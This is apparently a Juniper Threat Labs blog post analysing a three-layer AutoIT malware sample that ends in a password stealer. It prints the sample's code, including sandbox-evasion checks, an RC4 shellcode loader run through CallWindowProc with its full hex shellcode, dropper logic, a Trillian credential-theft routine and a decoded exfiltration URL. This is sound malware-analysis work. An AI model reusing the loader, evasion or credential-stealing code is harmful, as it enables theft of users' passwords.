Threat Research
Stay on top of the latest threat research, information on in-the-wild cyber attacks and cyber operations from Juniper Threat Labs.
Juniper Employee , Juniper Employee Juniper Employee
Threat Research
A Walk Through AutoIT Malware
Nov 15, 2016

In this post, we'll walk through the analysis of a piece of AutoIT malware. AutoIt is a scripting language and interpreter mainly used for Windows administration and task automation. Malware written in AutoIT is not particularly common, though there was a recent Locky clone built using the language. We'll step through three different layers to find the final malicious payload.

 

Layer 1  

This sample arrived as a WinRAR SFX self-extracting archive. Inside, we find an assortment of file types.

 

WinRAR.png

 

While the files in the archive are meant to look like images and documents, all of the files but dqu.exe are plain text files. The executable file is a copy of the AutoIT interpreter, which we can verify by searching for the file hash on VirusTotal:

 

virustotal.png

In the WinRAR screenshot above, we can see that after the archive is unpacked, there is a "setup" command:

 

Setup=dqu.exe tid.ivb

 

As dqu.exe is the AutoIT interpreter, it would appear that tid.ivb is the input script. But at first glance, tid.ivb appears to contain nothing but white space! This is another trick to thwart analysis, albeit one easy to bypass. The file contains mostly carriage returns (ASCII 0x0d) and line feeds (ASCII 0x0a), with the actual content hidden deep within:

 

hexeditor.png 

What we find is an obfuscated AutoIT script:

 

script1.png 

With a short Python script, we can rename the functions and variables for easier reading and remove some of the string obfuscations:

 

script2.png 

Stepping through this code, we see that script runs without a tray icon to be avoid revealing itself. It sleeps for 20 seconds to evade antivirus detection, then reads configuration data from a fake PDF file:

 

#NoTrayIcon
$var_0 = "kcj.pdf"
If ProcessExists("avastui.exe") Then Sleep(20000)
$var_1 = @ScriptDir & "\" & $var_0
$SeeeSx = IniRead($var_1, "Set", "Dir", '')
func_3($SeeeSx) 

 

The (renamed) function func_3 uses a directory name ('sqv') extracted from the PDF file and verifies that

  1. the script is running from the user's AppData\Roaming\sqv directory and
  2. that there is no window open titled 'sqv'.

(The latter check will fail if a malware analyst is running the script while the sqv subdirectory is open in Windows Explorer.) If either condition fails, the script terminates all running processes and forces a full system reboot:

 

Func func_3($SeeeSx)
	$var_15 = func_0(@ScriptFullPath)
	$var_16 = func_0(@AppDataDir & "\" & $SeeeSx & "\" & @ScriptName)
	If $var_15 = $var_16 Then
	Else
		Shutdown(6)
		s643FE91()
		Exit
	EndIf
	If WinExists($SeeeSx) Then
		Shutdown(6)
		s643FE91()
		Exit
	EndIf
EndFunc   ;==>func_3
Func s643FE91()
	$_6BA7C9 = ProcessList()
	For $zzz = 1 To UBound($_6BA7C9) - 1
		ProcessClose($_6BA7C9[$zzz][0])
	Next
EndFunc 

 

Once we've make it past this stage, the script continues to read data from kcj.pdf:

 

$var_2 = IniRead(@ScriptDir & "\" & $var_0, "Set", "sK", '')
$var_3 = IniRead(@ScriptDir & "\" & $var_0, "Set", "sN", '')
If $var_2 = '' Or $var_3 = '' Then Exit
$var_4 = FileRead(@ScriptDir & "\" & $var_0)
$var_5 = _StringBetween($var_4, "[sData]", "[esData]")
$var_4 = $var_5[0]
$var_6 = func_1()
$var_7 = BinaryToString(func_2($var_4, $var_2))

 

At this point, $var_4 holds a long hexadecimal string taken from kcj.pdf, and $var_6 is a randomly-generated 5-character string generated by func_1(). In its original form, this procedure was nearly incomprehensible:

 

Func _W0x089CBAA43012CBD103A024E8C36513B6($_W0x0CEF5DECD2B023AC56972966DC08E211, $_W0x0EC486D88DF3F0E6FC2EFE52598D236F)
	$x_F = "F"
	$x_FF = "" & "" & "" & "u" & "s" & "er" & "3" & "2" & ".d" & "ll"
	Local $_W0xDD65C71118C300A5F374F0B99FF82104 = "0" & "x" & "C" & "8" & "10" & "01006A0" & "06A" & "005" & "3565" & "78B5" & "510" & "31C" & "98" & "9C"
	$_W0xDD65C71118C300A5F374F0B99FF82104 &= "84989D7" & $x_F & "2AE484829C88945" & $x_F & "085C00" & $x_F & "84DC00" & "0000B90001" & "000088C82C" & "0188840DE" & $x_F & "" & $x_F & "E" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "" & $x_F & "E2" & $x_F & "38365" & $x_F & "4008365" & $x_F & "C00817D" & $x_F & "C000100007D478B45" & $x_F & "C31D2" & $x_F & "775" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="0920345100" & $x_F & "B600" & "8B4D" & $x_F & "C0" & $x_F & "B68C0D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "01C80345"
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "425" & $x_F & "" & $x_F & "0000008945" & $x_F & "48B75" & $x_F & "C8A8435" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "8B7D" & $x_F & "486843D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "888435" & $x_F & "0" & $x_F & "E" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "45" & $x_F & "CEBB08D9D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "31" & $x_F & "" & $x_F & "89" & $x_F & "A39550C766" & "38B85EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "4025" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="0000008985EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "89D80" & "385EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "0" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="B6000385E8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "25" & $x_F & "" & $x_F & "000000" & "8985E8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "89DE03B5EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "8A0689D" & $x_F & "03BDE8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "860788" & "060" & $x_F & "B60E0" & $x_F & "B60701" & "C181E1" & $x_F & "" & $x_F & "0000008" & "A840D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "8B750801D6300642EB985" & $x_F & "5E5BC9C21000"
	Local $_3E0FD7D3FE14D4AEFE9 = DllStructCreate("byte[" & BinaryLen($_W0xDD65C71118C300A5F374F0B99FF82104) & "]")
	DllStructSetData($_3E0FD7D3FE14D4AEFE9, 1, $_W0xDD65C71118C300A5F374F0B99FF82104)
	Local $_W0xD61B6A1A835288A336B7719A8B71B222 = DllStructCreate("byte[" & BinaryLen($_W0x0CEF5DECD2B023AC56972966DC08E211) & "]")
	DllStructSetData($_W0xD61B6A1A835288A336B7719A8B71B222, 1, $_W0x0CEF5DECD2B023AC56972966DC08E211)
	DllCall($x_FF, "non" & "e", "C" & "a" & "l" & "lW" & "in" & "do" & "w" & "P" & "r" & "o" & "c", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($_W0xD61B6A1A835288A336B7719A8B71B222), "int", BinaryLen($_W0x0CEF5DECD2B023AC56972966DC08E211), "str", $_W0x0EC486D88DF3F0E6FC2EFE52598D236F, "int", 0)
	Local $_W0xAC62EE4A576C6EE1CC0FDE51FBED9124 = DllStructGetData($_W0xD61B6A1A835288A336B7719A8B71B222, 1)
	$_W0xD61B6A1A835288A336B7719A8B71B222 = 0
	$_3E0FD7D3FE14D4AEFE9 = 0
	Return $_W0xAC62EE4A576C6EE1CC0FDE51FBED9124 

 

The deobfuscated code is easier to follow:

 

Func func_2($var_10, $var_11)
	Local $var_12 = "0xC81001006A006A005356578B551031C989C"
	$var_12 &= "84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFF"
	$var_12 &="FFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F"
	$var_12 &="0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345"
	$var_12 &="F425FF0000008945F48B75FC8A8435F0FEFFF"
	$var_12 &="F8B7DF486843DF0FEFFFF888435F0FEF"
	$var_12 &="FFFFF45FCEBB08D9DF0FEFFF"
	$var_12 &="F31FF89FA39550C76638B85ECFEFFFF4025FF"
	$var_12 &="0000008985ECFEFFFF89D80385ECFEFFFF0F"
	$var_12 &="B6000385E8FEFFFF25FF0000008985E8FEFFF"
	$var_12 &="F89DE03B5ECFEFFFF8A0689DF03BDE8FEFFF"
	$var_12 &="F860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
	Local $_3E0FD7D3FE14D4AEFE9 = DllStructCreate("byte[" & BinaryLen($var_12) & "]")
	DllStructSetData($_3E0FD7D3FE14D4AEFE9, 1, $var_12)
	Local $var_13 = DllStructCreate("byte[" & BinaryLen($var_10) & "]")
	DllStructSetData($var_13, 1, $var_10)
	DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($var_13), "int", BinaryLen($var_10), "str", $var_11, "int", 0)
	Local $var_14 = DllStructGetData($var_13, 1)
	$var_13 = 0
	$_3E0FD7D3FE14D4AEFE9 = 0
	Return $var_14
EndFunc

 

The inputs to this function are the long hexadecimal string mentioned above ($var_10) and the string "897" ($var_11). These variables, along with the hexadecimal string stored in $var_12, are formatted and used in a Windows system call:

 

	DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($var_13), "int", BinaryLen($var_10), "str", $var_11, "int", 0) 

 

This use of CallWindowProc is a well-known trick for embedding shellcode in Windows scripts. The string $var_12 is represents binary executable code, which we can disassemble in IDA Pro:

 

disassem.png

 

This shellcode implements the RC4 stream cipher. It takes $var_11 as an input and transforms the long string $var_10. Here is the equivalent code in Python:

 

def dec(targetbuffer, inputstring):
    # Initialize key buffer, with LENGTH = 255 bytes.
    LENGTH = 0x100
    key_buffer = bytearray(LENGTH)
    for i in range(len(key_buffer)):
        key_buffer[i] = i

    # Now permute the key buffer based on inputstring.
    inputstring = bytearray(inputstring,'ascii')
    var_C = 0
    for var_4 in range(LENGTH):
        eax = inputstring[var_4 % len(inputstring)]
        ecx = key_buffer[var_4]
        var_C = (eax + ecx + var_C) % LENGTH
        al = key_buffer[var_4]
        key_buffer[var_4] = key_buffer[var_C]
        key_buffer[var_C] = al

    # Decrypt the targetbuffer in place. var_114 and var_118 are both indices
    # into the key_buffer bytearray.
    var_114 = 0
    var_118 = 0
    # iterate over targetbuffer
    for ii in range(len(targetbuffer)):
        # Manipulate the two index variables
        var_114 = (var_114+1) % LENGTH
        var_118 = (var_118 + key_buffer[var_114]) % LENGTH
        # Swap bytes in key_buffer
        al = key_buffer[var_114]
        key_buffer[var_114] = key_buffer[var_118]
        key_buffer[var_118] = al
        # Finally, take the values at each index, add them (mod 256), then
        # use the result as another index into the key_buffer.
        tmp_index = (key_buffer[var_114] + key_buffer[var_118]) % LENGTH
        # XOR the value at tmp_index against the targetbuffer.
        targetbuffer[ii] = targetbuffer[ii] ^ key_buffer[tmp_index]

    return targetbuffer

 

Using this script, we can extract the decrypted content and ... it's another AutoIT script!

 

script3.png 

The new script is written to disk, all of the files in the directory are set to 'hidden', and the script is executed.

 

$var_8 = StringReplace($var_7, "Settings File Name", $var_0)
Execute('FileSetAttrib("*.*", "+HR")')
FileWrite(@ScriptDir & "\" & $var_6, $var_8)
Run(@AutoItExe & " " & func_0(@ScriptDir & "\" & $var_6))

 

Layer 2

The second AutoIT script uses additional obfuscation techniques, but again some renaming and simplifying makes the code more readable.

 

script4.png 

The first thing to notice is that this script tries to read a number of configuration variables from the fake PDF. These values, if present, are used to modify the script's behavior. Most of these options aren't used in this instance, but a look at the code shows some of the functionality available, including sandbox evasion, binary execution, and the ability to paste content to the victim's Facebook account if the site is open in a browser:

 

Func func_6($var_41)
$var_42 = DllOpen("user32.dll")
Sleep(2)
If func_7("0D", $var_42) And WinActive("Facebook -") = True Then
ClipPut($var_41)
Send("^v{ENTER}")
Sleep(1)
ClipPut('')
$var_9 = @MIN + 1
If $var_9 > 60 Then
$var_9 = $var_9 - 60
EndIf
EndIf
DllClose($var_42)
EndFunc

 

In our case, the script reads another hexadecimal string from the PDF file, decrypts it with the same CallWindowProc/shellcode trick, writes the file to disk, then executes it. Instead of another AutoIT script, the payload this time is a standard Windows portable executable (PE) file.

 

vba_exe.png

 

Layer 3

Fortunately for us, this executable was written in Visual Basic 5 and compiled to p-code, and there are commercial tools to decompile this type of executable. Some of the functionality is obvious, such as this routine that pilfers account credentials from a popular instant messaging application:

 

Public Sub Proc_0_0_403FBC
  'Data Table: 401740
  loc_403EEC: var_88 = CStr(Environ("appdata") & "\Trillian\users\global\accounts.ini")
  loc_403F15: If (Dir(var_88, 0) = vbNullString) Then
  loc_403F18:   Exit Sub
  loc_403F19: End If
  loc_403F20: Open var_88 For Binary As 7 Len = &HFF
  loc_403F33: var_B8 = vbNullString
  loc_403F5C: Get 7, 0, CStr(String(LOF(7), var_B8))
  loc_403F60: Close 7
  loc_403F70: var_94 = Proc_0_1_403C28("Account000", "Account")
  loc_403F81: var_98 = Proc_0_1_403C28("Account000", "Password", var_88)
  loc_403FA8: Proc_0_18_40429C(var_B8, "Trillian", "www.trillian.im")
  loc_403FB9: Exit Sub
End Sub

 

In addition to an array of other password-stealing functions, there's also a routine called InjPE that runs a Windows executable (PE) file by injecting it into another process. But which binaries will be injected? We can start with the resource section of our executable.

 

Screen Shot 2016-11-15 at 1.46.59 PM.png 

The first component of the DVCLAL resource is an ASCII string. In the decompiled Visual Basic, we find that this string is extracted and each character is shifted up by 2:

 

Public Sub Proc_0_13_4037A8(arg_C) '4037A8
  'Data Table: 401740
  Dim var_B8 As String
  loc_403762: For var_8E = 1 To CInt(Len(arg_C)): var_8A = var_8E 'Integer
  loc_40378D:   var_B8 = Chr$(CLng((Asc(Mid$(arg_C, CLng(var_8A), 1)) + 2)))
  loc_403791:   var_88 = var_88 & var_B8
  loc_4037A1: Next var_8E 'Integer
  loc_4037A6: Exit Sub
End Sub

Public Sub Proc_0_14_4066F0
  'Data Table: 401740
  Dim var_E8 As String
  loc_406134: On Error Resume Next
  loc_40614E: Me.Global.LoadResData 1, "DVCLAL", var_D4
  [...]

 

We can decode the string with one line of Python:

 

>>> s = 'frrn8--bcdd_lmepmsn,am,gb-j_les_ec-glbcv,nfn'
>>> print ("".join(chr(ord(x)+2) for x in s))
http://deffanogroup.co.id/language/index.php

 

The result is a URL, probably used to exfiltrate the stolen data from the victim's computer. The other two components of the DVCLAL resource are Windows PE files -- WebBrowserPassView and MailPassView -- utilities that scour a computer for "lost" passwords. Neither one is malware, strictly speaking, but both are commonly used for malicious purposes.

 

Big Picture

We've reached the bottom of this rabbit hole and found that the final payload searches the target computer for passwords. Layer 1 was the AutoIT script delivered in a self-extracting executable. Layer 2 was an encrypted AutoIT script decrypted with the CallWindowProc/shellcode trick. Layer 3 was the executable written in Visual Basic, which itself contained two more executables used as utilities to throughly scour the victim's computer before exfiltrating the data to a URL we found hidden in the resource section. Given the configurability and unused portions of the AutoIT scripts, it appears the malware authors used some sort of toolkit to wrap and obfuscate their malware. This, combined with the use of separate data/configuration files, make it feasible to deliver unique executables with each victim.

Top Kudoed Members